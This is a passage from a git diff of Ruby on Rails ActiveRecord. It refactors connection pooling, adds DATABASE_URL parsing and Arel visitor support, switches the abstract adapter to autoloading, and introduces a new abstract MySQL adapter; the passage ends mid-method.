MSG # AutosaveAssociation needs to be included before Transactions, because we want # #save_with_autosave_associations to be wrapped inside a transaction. include AutosaveAssociation, NestedAttributes - include Aggregations, Transactions, Reflection, Serialization + include Aggregations, Transactions, Reflection, Serialization, Store NilClass.add_whiner(self) if NilClass.respond_to?(:add_whiner) @@ -2120,6 +2162,5 @@ MSG end end -# TODO: Remove this and make it work with LAZY flag -require 'active_record/connection_adapters/abstract_adapter' +require 'active_record/connection_adapters/abstract/connection_specification' ActiveSupport.run_load_hooks(:active_record, ActiveRecord::Base) diff --git a/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb b/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb index 6f21cea288..77a5fe1efb 100644 --- a/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb +++ b/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb @@ -60,6 +60,7 @@ module ActiveRecord attr_accessor :automatic_reconnect attr_reader :spec, :connections attr_reader :columns, :columns_hash, :primary_keys, :tables + attr_reader :column_defaults # Creates a new ConnectionPool object. +spec+ is a ConnectionSpecification # object which describes database connection information (e.g. adapter, @@ -81,10 +82,11 @@ module ActiveRecord # default max pool size to 5 @size = (spec.config[:pool] && spec.config[:pool].to_i) || 5 - @connections = [] - @checked_out = [] + @connections = [] + @checked_out = [] @automatic_reconnect = true - @tables = {} + @tables = {} + @visitor = nil @columns = Hash.new do |h, table_name| h[table_name] = with_connection do |conn| @@ -106,6 +108,12 @@ module ActiveRecord }] end + @column_defaults = Hash.new do |h, table_name| + h[table_name] = Hash[columns[table_name].map { |col| + [col.name, col.default] + }] + end + @primary_keys = Hash.new do |h, table_name| h[table_name] = with_connection do |conn| table_exists?(table_name) ? conn.primary_key(table_name) : 'id' @@ -119,6 +127,7 @@ module ActiveRecord with_connection do |conn| conn.tables.each { |table| @tables[table] = true } + @tables[name] = true if !@tables.key?(name) && conn.table_exists?(name) end @tables.key? name @@ -132,6 +141,7 @@ module ActiveRecord def clear_cache! @columns.clear @columns_hash.clear + @column_defaults.clear @tables.clear end @@ -139,6 +149,7 @@ module ActiveRecord def clear_table_cache!(table_name) @columns.delete table_name @columns_hash.delete table_name + @column_defaults.delete table_name @primary_keys.delete table_name end @@ -165,7 +176,7 @@ module ActiveRecord checkin conn if conn end - # If a connection already exists yield it to the block. If no connection + # If a connection already exists yield it to the block. If no connection # exists checkout a connection, yield it to the block, and checkin the # connection when finished. def with_connection @@ -262,7 +273,7 @@ module ActiveRecord else clear_stale_cached_connections! if @size == @checked_out.size - raise ConnectionTimeoutError, "could not obtain a database connection#{" within #{@timeout} seconds" if @timeout}. The max pool size is currently #{@size}; consider increasing it." + raise ConnectionTimeoutError, "could not obtain a database connection#{" within #{@timeout} seconds" if @timeout}. The max pool size is currently #{@size}; consider increasing it." end end @@ -288,12 +299,22 @@ module ActiveRecord :connected?, :disconnect!, :with => :@connection_mutex private + def new_connection - ActiveRecord::Base.send(spec.adapter_method, spec.config) + connection = ActiveRecord::Base.send(spec.adapter_method, spec.config) + + # TODO: This is a bit icky, and in the long term we may want to change the method + # signature for connections. Also, if we switch to have one visitor per + # connection (and therefore per thread), we can get rid of the thread-local + # variable in Arel::Visitors::ToSql. + @visitor ||= connection.class.visitor_for(self) + connection.visitor = @visitor + + connection end def current_connection_id #:nodoc: - Thread.current.object_id + ActiveRecord::Base.connection_id ||= Thread.current.object_id end def checkout_new_connection @@ -400,7 +421,7 @@ module ActiveRecord # can be used as an argument for establish_connection, for easily # re-establishing the connection. def remove_connection(klass) - pool = @connection_pools[klass.name] + pool = @connection_pools.delete(klass.name) return nil unless pool pool.automatic_reconnect = false @@ -425,6 +446,14 @@ module ActiveRecord @testing = testing end + def method_missing(method_sym, *arguments, &block) + @body.send(method_sym, *arguments, &block) + end + + def respond_to?(method_sym, include_private = false) + super || @body.respond_to?(method_sym) + end + def each(&block) body.each(&block) end diff --git a/activerecord/lib/active_record/connection_adapters/abstract/connection_specification.rb b/activerecord/lib/active_record/connection_adapters/abstract/connection_specification.rb index bcd3abc08d..3d0f146fed 100644 --- a/activerecord/lib/active_record/connection_adapters/abstract/connection_specification.rb +++ b/activerecord/lib/active_record/connection_adapters/abstract/connection_specification.rb @@ -46,9 +46,15 @@ module ActiveRecord # "database" => "path/to/dbfile" # ) # + # Or a URL: + # + # ActiveRecord::Base.establish_connection( + # "postgres://myuser:mypass@localhost/somedatabase" + # ) + # # The exceptions AdapterNotSpecified, AdapterNotFound and ArgumentError # may be returned on an error. - def self.establish_connection(spec = nil) + def self.establish_connection(spec = ENV["DATABASE_URL"]) case spec when nil raise AdapterNotSpecified unless defined?(Rails.env) @@ -58,6 +64,8 @@ module ActiveRecord when Symbol, String if configuration = configurations[spec.to_s] establish_connection(configuration) + elsif spec.is_a?(String) && hash = connection_url_to_hash(spec) + establish_connection(hash) else raise AdapterNotSpecified, "#{spec} database is not configured" end @@ -81,6 +89,24 @@ module ActiveRecord end end + def self.connection_url_to_hash(url) # :nodoc: + config = URI.parse url + adapter = config.scheme + adapter = "postgresql" if adapter == "postgres" + spec = { :adapter => adapter, + :username => config.user, + :password => config.password, + :port => config.port, + :database => config.path.sub(%r{^/},""), + :host => config.host } + spec.reject!{ |_,value| !value } + if config.query + options = Hash[config.query.split("&").map{ |pair| pair.split("=") }].symbolize_keys + spec.merge!(options) + end + spec + end + class << self # Returns the connection currently associated with the class. This can # also be used to "borrow" the connection to do database work unrelated @@ -89,6 +115,14 @@ module ActiveRecord retrieve_connection end + def connection_id + Thread.current['ActiveRecord::Base.connection_id'] + end + + def connection_id=(connection_id) + Thread.current['ActiveRecord::Base.connection_id'] = connection_id + end + # Returns the configuration of the associated connection as a hash: # # ActiveRecord::Base.connection_config @@ -100,7 +134,7 @@ module ActiveRecord end def connection_pool - connection_handler.retrieve_connection_pool(self) + connection_handler.retrieve_connection_pool(self) or raise ConnectionNotEstablished end def retrieve_connection diff --git a/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb b/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb index b3eb23bbb3..dc4a53034b 100644 --- a/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb +++ b/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb @@ -1,32 +1,39 @@ -require 'active_support/core_ext/module/deprecation' - module ActiveRecord module ConnectionAdapters # :nodoc: module DatabaseStatements + # Converts an arel AST to SQL + def to_sql(arel) + if arel.respond_to?(:ast) + visitor.accept(arel.ast) + else + arel + end + end + # Returns an array of record hashes with the column names as keys and # column values as values. - def select_all(sql, name = nil, binds = []) - select(sql, name, binds) + def select_all(arel, name = nil, binds = []) + select(to_sql(arel), name, binds) end # Returns a record hash with the column names as keys and column values # as values. - def select_one(sql, name = nil) - result = select_all(sql, name) + def select_one(arel, name = nil) + result = select_all(arel, name) result.first if result end # Returns a single value from a record - def select_value(sql, name = nil) - if result = select_one(sql, name) + def select_value(arel, name = nil) + if result = select_one(arel, name) result.values.first end end # Returns an array of the values of the first column in a select: # select_values("SELECT id FROM companies LIMIT 3") => [1,2,3] - def select_values(sql, name = nil) - result = select_rows(sql, name) + def select_values(arel, name = nil) + result = select_rows(to_sql(arel), name) result.map { |v| v[0] } end @@ -42,7 +49,7 @@ module ActiveRecord undef_method :execute # Executes +sql+ statement in the context of this connection using - # +binds+ as the bind substitutes. +name+ is logged along with + # +binds+ as the bind substitutes. +name+ is logged along with # the executed +sql+ statement. def exec_query(sql, name = 'SQL', binds = []) end @@ -76,20 +83,20 @@ module ActiveRecord # # If the next id was calculated in advance (as in Oracle), it should be # passed in as +id_value+. - def insert(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil, binds = []) - sql, binds = sql_for_insert(sql, pk, id_value, sequence_name, binds) + def insert(arel, name = nil, pk = nil, id_value = nil, sequence_name = nil, binds = []) + sql, binds = sql_for_insert(to_sql(arel), pk, id_value, sequence_name, binds) value = exec_insert(sql, name, binds) id_value || last_inserted_id(value) end # Executes the update statement and returns the number of rows affected. - def update(sql, name = nil, binds = []) - exec_update(sql, name, binds) + def update(arel, name = nil, binds = []) + exec_update(to_sql(arel), name, binds) end # Executes the delete statement and returns the number of rows affected. - def delete(sql, name = nil, binds = []) - exec_delete(sql, name, binds) + def delete(arel, name = nil, binds = []) + exec_delete(to_sql(arel), name, binds) end # Checks whether there is currently no transaction active. This is done @@ -245,38 +252,13 @@ module ActiveRecord # done if the transaction block raises an exception or returns false. def rollback_db_transaction() end - # Appends +LIMIT+ and +OFFSET+ options to an SQL statement, or some SQL - # fragment that has the same semantics as LIMIT and OFFSET. - # - # +options+ must be a Hash which contains a +:limit+ option - # and an +:offset+ option. - # - # This method *modifies* the +sql+ parameter. - # - # This method is deprecated!! Stop using it! - # - # ===== Examples - # add_limit_offset!('SELECT * FROM suppliers', {:limit => 10, :offset => 50}) - # generates - # SELECT * FROM suppliers LIMIT 10 OFFSET 50 - def add_limit_offset!(sql, options) - if limit = options[:limit] - sql << " LIMIT #{sanitize_limit(limit)}" - end - if offset = options[:offset] - sql << " OFFSET #{offset.to_i}" - end - sql - end - deprecate :add_limit_offset! - def default_sequence_name(table, column) nil end # Set the sequence to the max value of the table's column. def reset_sequence!(table, column, sequence = nil) - # Do nothing by default. Implement for PostgreSQL, Oracle, ... + # Do nothing by default. Implement for PostgreSQL, Oracle, ... end # Inserts the given fixture into the table. Overridden in adapters that require @@ -308,10 +290,10 @@ module ActiveRecord # Sanitizes the given LIMIT parameter in order to prevent SQL injection. # # The +limit+ may be anything that can evaluate to a string via #to_s. It - # should look like an integer, or a comma-delimited list of integers, or + # should look like an integer, or a comma-delimited list of integers, or # an Arel SQL literal. # - # Returns Integer and Arel::Nodes::SqlLiteral limits as is. + # Returns Integer and Arel::Nodes::SqlLiteral limits as is. # Returns the sanitized limit parameter, either as an integer, or as a # string which contains a comma-delimited list of integers. def sanitize_limit(limit) @@ -324,6 +306,16 @@ module ActiveRecord end end + # The default strategy for an UPDATE with joins is to use a subquery. This doesn't work + # on mysql (even when aliasing the tables), but mysql allows using JOIN directly in + # an UPDATE statement, so in the mysql adapters we redefine this to do that. + def join_to_update(update, select) #:nodoc: + subselect = select.clone + subselect.projections = [update.key] + + update.where update.key.in(subselect) + end + protected # Returns an array of record hashes with the column names as keys and # column values as values. diff --git a/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb b/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb index 093c30aa42..27ff13ad89 100644 --- a/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb +++ b/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb @@ -55,9 +55,10 @@ module ActiveRecord @query_cache.clear end - def select_all(sql, name = nil, binds = []) + def select_all(arel, name = nil, binds = []) if @query_cache_enabled - cache_sql(sql, binds) { super } + sql = to_sql(arel) + cache_sql(sql, binds) { super(sql, name, binds) } else super end diff --git a/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb b/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb index 3de850ec9e..f93c7cd74a 100644 --- a/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb +++ b/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb @@ -102,10 +102,13 @@ module ActiveRecord def quoted_date(value) if value.acts_like?(:time) zone_conversion_method = ActiveRecord::Base.default_timezone == :utc ? :getutc : :getlocal - value.respond_to?(zone_conversion_method) ? value.send(zone_conversion_method) : value - else - value - end.to_s(:db) + + if value.respond_to?(zone_conversion_method) + value = value.send(zone_conversion_method) + end + end + + value.to_s(:db) end end end diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb index 70a8f6bb58..989a4fcbca 100644 --- a/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb +++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb @@ -252,7 +252,7 @@ module ActiveRecord # Appends <tt>:datetime</tt> columns <tt>:created_at</tt> and # <tt>:updated_at</tt> to the table. def timestamps(*args) - options = args.extract_options! + options = { :null => false }.merge(args.extract_options!) column(:created_at, :datetime, options) column(:updated_at, :datetime, options) end @@ -328,7 +328,7 @@ module ActiveRecord end # Checks to see if a column exists. See SchemaStatements#column_exists? - def column_exists?(column_name, type = nil, options = nil) + def column_exists?(column_name, type = nil, options = {}) @base.column_exists?(@table_name, column_name, type, options) end @@ -386,13 +386,13 @@ module ActiveRecord # Removes the given index from the table. # # ===== Examples - # ====== Remove the suppliers_name_index in the suppliers table - # t.remove_index :name - # ====== Remove the index named accounts_branch_id_index in the accounts table + # ====== Remove the index_table_name_on_column in the table_name table + # t.remove_index :column + # ====== Remove the index named index_table_name_on_branch_id in the table_name table # t.remove_index :column => :branch_id - # ====== Remove the index named accounts_branch_id_party_id_index in the accounts table + # ====== Remove the index named index_table_name_on_branch_id_and_party_id in the table_name table # t.remove_index :column => [:branch_id, :party_id] - # ====== Remove the index named by_branch_party in the accounts table + # ====== Remove the index named by_branch_party in the table_name table # t.remove_index :name => :by_branch_party def remove_index(options = {}) @base.remove_index(@table_name, options) diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb index 21612dd15b..7226069ebf 100644 --- a/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb +++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb @@ -4,7 +4,7 @@ module ActiveRecord module ConnectionAdapters # :nodoc: module SchemaStatements # Returns a Hash of mappings from the abstract data types to the native - # database types. See TableDefinition#column for details on the recognized + # database types. See TableDefinition#column for details on the recognized # abstract data types. def native_database_types {} @@ -78,7 +78,7 @@ module ActiveRecord # Creates a new table with the name +table_name+. +table_name+ may either # be a String or a Symbol. # - # There are two ways to work with +create_table+. You can use the block + # There are two ways to work with +create_table+. You can use the block # form or the regular form, like this: # # === Block form @@ -161,7 +161,7 @@ module ActiveRecord td.instance_eval(&blk) if blk if options[:force] && table_exists?(table_name) - drop_table(table_name, options) + drop_table(table_name) end create_sql = "CREATE#{' TEMPORARY' if options[:temporary]} TABLE " @@ -253,7 +253,7 @@ module ActiveRecord end # Drops a table from the database. - def drop_table(table_name, options = {}) + def drop_table(table_name) execute "DROP TABLE #{quote_table_name(table_name)}" end @@ -299,7 +299,7 @@ module ActiveRecord raise NotImplementedError, "rename_column is not implemented" end - # Adds a new index to the table. +column_name+ can be a single Symbol, or + # Adds a new index to the table. +column_name+ can be a single Symbol, or # an Array of Symbols. # # The index will be named after the table and the first column name, @@ -346,11 +346,11 @@ module ActiveRecord # Remove the given index from the table. # - # Remove the suppliers_name_index in the suppliers table. - # remove_index :suppliers, :name - # Remove the index named accounts_branch_id_index in the accounts table. + # Remove the index_accounts_on_column in the accounts table. + # remove_index :accounts, :column + # Remove the index named index_accounts_on_branch_id in the accounts table. # remove_index :accounts, :column => :branch_id - # Remove the index named accounts_branch_id_party_id_index in the accounts table. + # Remove the index named index_accounts_on_branch_id_and_party_id in the accounts table. # remove_index :accounts, :column => [:branch_id, :party_id] # Remove the index named by_branch_party in the accounts table. # remove_index :accounts, :name => :by_branch_party @@ -405,7 +405,7 @@ module ActiveRecord def dump_schema_information #:nodoc: sm_table = ActiveRecord::Migrator.schema_migrations_table_name - migrated = select_values("SELECT version FROM #{sm_table}") + migrated = select_values("SELECT version FROM #{sm_table} ORDER BY version") migrated.map { |v| "INSERT INTO #{sm_table} (version) VALUES ('#{v}');" }.join("\n\n") end @@ -507,8 +507,8 @@ module ActiveRecord # ===== Examples # add_timestamps(:suppliers) def add_timestamps(table_name) - add_column table_name, :created_at, :datetime - add_column table_name, :updated_at, :datetime + add_column table_name, :created_at, :datetime, :null => false + add_column table_name, :updated_at, :datetime, :null => false end # Removes the timestamp columns (created_at and updated_at) from the table definition. @@ -564,7 +564,7 @@ module ActiveRecord def columns_for_remove(table_name, *column_names) column_names = column_names.flatten - raise ArgumentError.new("You must specify at least one column name. Example: remove_column(:people, :first_name)") if column_names.blank? + raise ArgumentError.new("You must specify at least one column name. Example: remove_column(:people, :first_name)") if column_names.blank? column_names.map {|column_name| quote_column_name(column_name) } end diff --git a/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb b/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb index 65024d76f8..4c3a8f7233 100644 --- a/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb +++ b/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb @@ -2,21 +2,33 @@ require 'date' require 'bigdecimal' require 'bigdecimal/util' require 'active_support/core_ext/benchmark' - -# TODO: Autoload these files -require 'active_record/connection_adapters/column' -require 'active_record/connection_adapters/abstract/schema_definitions' -require 'active_record/connection_adapters/abstract/schema_statements' -require 'active_record/connection_adapters/abstract/database_statements' -require 'active_record/connection_adapters/abstract/quoting' -require 'active_record/connection_adapters/abstract/connection_pool' -require 'active_record/connection_adapters/abstract/connection_specification' -require 'active_record/connection_adapters/abstract/query_cache' -require 'active_record/connection_adapters/abstract/database_limits' -require 'active_record/result' +require 'active_support/deprecation' module ActiveRecord module ConnectionAdapters # :nodoc: + extend ActiveSupport::Autoload + + autoload :Column + + autoload_under 'abstract' do + autoload :IndexDefinition, 'active_record/connection_adapters/abstract/schema_definitions' + autoload :ColumnDefinition, 'active_record/connection_adapters/abstract/schema_definitions' + autoload :TableDefinition, 'active_record/connection_adapters/abstract/schema_definitions' + autoload :Table, 'active_record/connection_adapters/abstract/schema_definitions' + + autoload :SchemaStatements + autoload :DatabaseStatements + autoload :DatabaseLimits + autoload :Quoting + + autoload :ConnectionPool + autoload :ConnectionHandler, 'active_record/connection_adapters/abstract/connection_pool' + autoload :ConnectionManagement, 'active_record/connection_adapters/abstract/connection_pool' + autoload :ConnectionSpecification + + autoload :QueryCache + end + # Active Record supports multiple database systems. AbstractAdapter and # related classes form the abstraction layer which makes this possible. # An AbstractAdapter represents a connection to a database, and provides an @@ -38,12 +50,34 @@ module ActiveRecord define_callbacks :checkout, :checkin + attr_accessor :visitor + def initialize(connection, logger = nil) #:nodoc: @active = nil @connection, @logger = connection, logger @query_cache_enabled = false @query_cache = Hash.new { |h,sql| h[sql] = {} } + @open_transactions = 0 @instrumenter = ActiveSupport::Notifications.instrumenter + @visitor = nil + end + + # Returns a visitor instance for this adaptor, which conforms to the Arel::ToSql interface + def self.visitor_for(pool) # :nodoc: + adapter = pool.spec.config[:adapter] + + if Arel::Visitors::VISITORS[adapter] + ActiveSupport::Deprecation.warn( + "Arel::Visitors::VISITORS is deprecated and will be removed. Database adapters " \ + "should define a visitor_for method which returns the appropriate visitor for " \ + "the database. For example, MysqlAdapter.visitor_for(pool) returns " \ + "Arel::Visitors::MySQL.new(pool)." + ) + + Arel::Visitors::VISITORS[adapter].new(pool) + else + Arel::Visitors::ToSql.new(pool) + end end # Returns the human-readable name of the adapter. Use mixed case - one @@ -177,12 +211,9 @@ module ActiveRecord @connection end - def open_transactions - @open_transactions ||= 0 - end + attr_reader :open_transactions def increment_open_transactions - @open_transactions ||= 0 @open_transactions += 1 end @@ -207,6 +238,10 @@ module ActiveRecord node end + def case_insensitive_comparison(table, attribute, column, value) + table[attribute].lower.eq(table.lower(value)) + end + def current_savepoint_name "active_record_#{open_transactions}" end diff --git a/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb b/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb new file mode 100644 index 0000000000..dd573ba569 --- /dev/null +++ b/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb @@ -0,0 +1,630 @@ +require 'active_support/core_ext/object/blank' + +module ActiveRecord + module ConnectionAdapters + class AbstractMysqlAdapter < AbstractAdapter + class Column < ConnectionAdapters::Column # :nodoc: + attr_reader :collation + + def initialize(name, default, sql_type = nil, null = true, collation = nil) + super(name, default, sql_type, null) + @collation = collation + end + + def extract_default(default) + if sql_type =~ /blob/i || type == :text + if default.blank? + return null ? nil : '' + else + raise ArgumentError, "#{type} columns cannot have a default value: #{default.inspect}" + end + elsif missing_default_forged_as_empty_string?(default) + nil + else + super + end + end + + def has_default? + return false if sql_type =~ /blob/i || type == :text #mysql forbids defaults on blob and text columns + super + end + + # Must return the relevant concrete adapter + def adapter + raise NotImplementedError + end + + def case_sensitive? + collation && !collation.match(/_ci$/) + end + + private + + def simplified_type(field_type) + return :boolean if adapter.emulate_booleans && field_type.downcase.index("tinyint(1)") + + case field_type + when /enum/i, /set/i then :string + when /year/i then :integer + when /bit/i then :binary + else + super + end + end + + def extract_limit(sql_type) + case sql_type + when /blob|text/i + case sql_type + when /tiny/i + 255 + when /medium/i + 16777215 + when /long/i + 2147483647 # mysql only allows 2^31-1, not 2^32-1, somewhat inconsistently with the tiny/medium/normal cases + else + super # we could return 65535 here, but we leave it undecorated by default + end + when /^bigint/i; 8 + when /^int/i; 4 + when /^mediumint/i; 3 + when /^smallint/i; 2 + when /^tinyint/i; 1 + else + super + end + end + + # MySQL misreports NOT NULL column default when none is given. + # We can't detect this for columns which may have a legitimate '' + # default (string) but we can for others (integer, datetime, boolean, + # and the rest). + # + # Test whether the column has default '', is not null, and is not + # a type allowing default ''. + def missing_default_forged_as_empty_string?(default) + type != :string && !null && default == '' + end + end + + ## + # :singleton-method: + # By default, the MysqlAdapter will consider all columns of type <tt>tinyint(1)</tt> + # as boolean. If you wish to disable this emulation (which was the default + # behavior in versions 0.13.1 and earlier) you can add the following line + # to your application.rb file: + # + # ActiveRecord::ConnectionAdapters::Mysql[2]Adapter.emulate_booleans = false + class_attribute :emulate_booleans + self.emulate_booleans = true + + LOST_CONNECTION_ERROR_MESSAGES = [ + "Server shutdown in progress", + "Broken pipe", + "Lost connection to MySQL server during query", + "MySQL server has gone away" ] + + QUOTED_TRUE, QUOTED_FALSE = '1', '0' + + NATIVE_DATABASE_TYPES = { + :primary_key => "int(11) DEFAULT NULL auto_increment PRIMARY KEY", + :string => { :name => "varchar", :limit => 255 }, + :text => { :name => "text" }, + :integer => { :name => "int", :limit => 4 }, + :float => { :name => "float" }, + :decimal => { :name => "decimal" }, + :datetime => { :name => "datetime" }, + :timestamp => { :name => "datetime" }, + :time => { :name => "time" }, + :date => { :name => "date" }, + :binary => { :name => "blob" }, + :boolean => { :name => "tinyint", :limit => 1 } + } + + # FIXME: Make the first parameter more similar for the two adapters + def initialize(connection, logger, connection_options, config) + super(connection, logger) + @connection_options, @config = connection_options, config + @quoted_column_names, @quoted_table_names = {}, {} + end + + def self.visitor_for(pool) # :nodoc: + Arel::Visitors::MySQL.new(pool) + end + + def adapter_name #:nodoc: + self.class::ADAPTER_NAME + end + + # Returns true, since this connection adapter supports migrations. + def supports_migrations? + true + end + + def supports_primary_key? + true + end + + # Returns true, since this connection adapter supports savepoints. + def supports_savepoints? + true + end + + def supports_bulk_alter? #:nodoc: + true + end + + def native_database_types + NATIVE_DATABASE_TYPES + end + + # HELPER METHODS =========================================== + + # The two drivers have slightly different ways of yielding hashes of results, so + # this method must be implemented to provide a uniform interface. + def each_hash(result) # :nodoc: + raise NotImplementedError + end + + # Overridden by the adapters to instantiate their specific Column type. + def new_column(field, default, type, null, collation) # :nodoc: + Column.new(field, default, type, null, collation) + end + + # Must return the Mysql error number from the exception, if the exception has an + # error number. + def error_number(exception) # :nodoc: + raise NotImplementedError + end + + # QUOTING ================================================== + + def quote(value, column = nil) + if value.kind_of?(String) && column && column.type == :binary && column.class.respond_to?(:string_to_binary) + s = column.class.string_to_binary(value).unpack("H*")[0] + "x'#{s}'" + elsif value.kind_of?(BigDecimal) + value.to_s("F") + else + super + end + end + + def quote_column_name(name) #:nodoc: + @quoted_column_names[name] ||= "`#{name.to_s.gsub('`', '``')}`" + end + + def quote_table_name(name) #:nodoc: + @quoted_table_names[name] ||= quote_column_name(name).gsub('.', '`.`') + end + + def quoted_true + QUOTED_TRUE + end + + def quoted_false + QUOTED_FALSE + end + + # REFERENTIAL INTEGRITY ==================================== + + def disable_referential_integrity(&block) #:nodoc: + old = select_value("SELECT @@FOREIGN_KEY_CHECKS") + + begin + update("SET FOREIGN_KEY_CHECKS = 0") + yield + ensure + update("SET FOREIGN_KEY_CHECKS = #{old}") + end + end + + # DATABASE STATEMENTS ====================================== + + # Executes the SQL statement in the context of this connection. + def execute(sql, name = nil) + if name == :skip_logging + @connection.query(sql) + else + log(sql, name) { @connection.query(sql) } + end + rescue ActiveRecord::StatementInvalid => exception + if exception.message.split(":").first =~ /Packets out of order/ + raise ActiveRecord::StatementInvalid, "'Packets out of order' error was received from the database. Please update your mysql bindings (gem install mysql) and read http://dev.mysql.com/doc/mysql/en/password-hashing.html for more information. If you're on Windows, use the Instant Rails installer to get the updated mysql bindings." + else + raise + end + end + + # MysqlAdapter has to free a result after using it, so we use this method to write + # stuff in a abstract way without concerning ourselves about whether it needs to be + # explicitly freed or not. + def execute_and_free(sql, name = nil) #:nodoc: + yield execute(sql, name) + end + + def update_sql(sql, name = nil) #:nodoc: + super + @connection.affected_rows + end + + def begin_db_transaction + execute "BEGIN" + rescue Exception + # Transactions aren't supported + end + + def commit_db_transaction #:nodoc: + execute "COMMIT" + rescue Exception + # Transactions aren't supported + end + + def rollback_db_transaction #:nodoc: + execute "ROLLBACK" + rescue Exception + # Transactions aren't supported + end + + def create_savepoint + execute("SAVEPOINT #{current_savepoint_name}") + end + + def rollback_to_savepoint + execute("ROLLBACK TO SAVEPOINT #{current_savepoint_name}") + end + + def release_savepoint + execute("RELEASE SAVEPOINT #{current_savepoint_name}") + end + + # In the simple case, MySQL allows us to place JOINs directly into the UPDATE + # query. However, this does not allow for LIMIT, OFFSET and ORDER. To support + # these, we must use a subquery. However, MySQL is too stupid to create a + # temporary table for this automatically, so we have to give it some prompting + # in the form of a subsubquery. Ugh! + def join_to_update(update, select) #:nodoc: + if select.limit || select.offset || select.orders.any? + subsubselect = select.clone + subsubselect.projections = [update.key] + + subselect = Arel::SelectManager.new(select.engine) + subselect.project Arel.sql(update.key.name) + subselect.from subsubselect.as('__active_record_temp') + + update.where update.key.in(subselect) + else + update.table select.source + update.wheres = select.constraints + end + end + + # SCHEMA STATEMENTS ======================================== + + def structure_dump #:nodoc: + if supports_views? + sql = "SHOW FULL TABLES WHERE Table_type = 'BASE TABLE'" + else + sql = "SHOW TABLES" + end + + select_all(sql).map do |table| + table.delete('Table_type') + sql = "SHOW CREATE TABLE #{quote_table_name(table.to_a.first.last)}" + exec_without_stmt(sql).first['Create Table'] + ";\n\n" + end.join("") + end + + # Drops the database specified on the +name+ attribute + # and creates it again using the provided +options+. + def recreate_database(name, options = {}) + drop_database(name) + create_database(name, options) + end + + # Create a new MySQL database with optional <tt>:charset</tt> and <tt>:collation</tt>. + # Charset defaults to utf8. + # + # Example: + # create_database 'charset_test', :charset => 'latin1', :collation => 'latin1_bin' + # create_database 'matt_development' + # create_database 'matt_development', :charset => :big5 + def create_database(name, options = {}) + if options[:collation] + execute "CREATE DATABASE `#{name}` DEFAULT CHARACTER SET `#{options[:charset] || 'utf8'}` COLLATE `#{options[:collation]}`" + else + execute "CREATE DATABASE `#{name}` DEFAULT CHARACTER SET `#{options[:charset] || 'utf8'}`" + end + end + + # Drops a MySQL database. + # + # Example: + # drop_database('sebastian_development') + def drop_database(name) #:nodoc: + execute "DROP DATABASE IF EXISTS `#{name}`" + end + + def current_database + select_value 'SELECT DATABASE() as db' + end + + # Returns the database character set. + def charset + show_variable 'character_set_database' + end + + # Returns the database collation strategy. + def collation + show_variable 'collation_database' + end + + def tables(name = nil, database = nil) #:nodoc: + sql = ["SHOW TABLES", database].compact.join(' IN ') + + execute_and_free(sql, 'SCHEMA') do |result| + result.collect { |field| field.first } + end + end + + def table_exists?(name) + return true if super + + name = name.to_s + schema, table = name.split('.', 2) + + unless table # A table was provided without a schema + table = schema + schema = nil + end + + tables(nil, schema).include? table + end + + # Returns an array of indexes for the given table. + def indexes(table_name, name = nil) #:nodoc: + indexes = [] + current_index = nil + execute_and_free("SHOW KEYS FROM #{quote_table_name(table_name)}", 'SCHEMA') do |result| + each_hash(result) do |row| + if current_index != row[:Key_name] + next if row[:Key_name] == 'PRIMARY' # skip the primary key + current_index = row[:Key_name] + indexes << IndexDefinition.new(row[:Table], row[:Key_name], row[:Non_unique].to_i == 0, [], []) + end + + indexes.last.columns << row[:Column_name] + indexes.last.lengths << row[:Sub_part] + end + end + + indexes + end + + # Returns an array of +Column+ objects for the table specified by +table_name+. + def columns(table_name, name = nil)#:nodoc: + sql = "SHOW FULL FIELDS FROM #{quote_table_name(table_name)}" + execute_and_free(sql, 'SCHEMA') do |result| + each_hash(result).map do |field| + new_column(field[:Field], field[:Default], field[:Type], field[:Null] == "YES", field[:Collation]) + end + end + end + + def create_table(table_name, options = {}) #:nodoc: + super(table_name, options.reverse_merge(:options => "ENGINE=InnoDB")) + end + + def bulk_change_table(table_name, operations) #:nodoc: + sqls = operations.map do |command, args| + table, arguments = args.shift, args + method = :"#{command}_sql" + + if respond_to?(method) + send(method, table, *arguments) + else + raise "Unknown method called : #{method}(#{arguments.inspect})" + end + end.flatten.join(", ") + + execute("ALTER TABLE #{quote_table_name(table_name)} #{sqls}") + end + + # Renames a table. + # + # Example: + # rename_table('octopuses', 'octopi') + def rename_table(table_name, new_name) + execute "RENAME TABLE #{quote_table_name(table_name)} TO #{quote_table_name(new_name)}" + end + + def add_column(table_name, column_name, type, options = {}) + execute("ALTER TABLE #{quote_table_name(table_name)} #{add_column_sql(table_name, column_name, type, options)}") + end + + def change_column_default(table_name, column_name, default) + column = column_for(table_name, column_name) + change_column table_name, column_name, column.sql_type, :default => default + end + + def change_column_null(table_name, column_name, null, default = nil) + column = column_for(table_name, column_name) + + unless null || 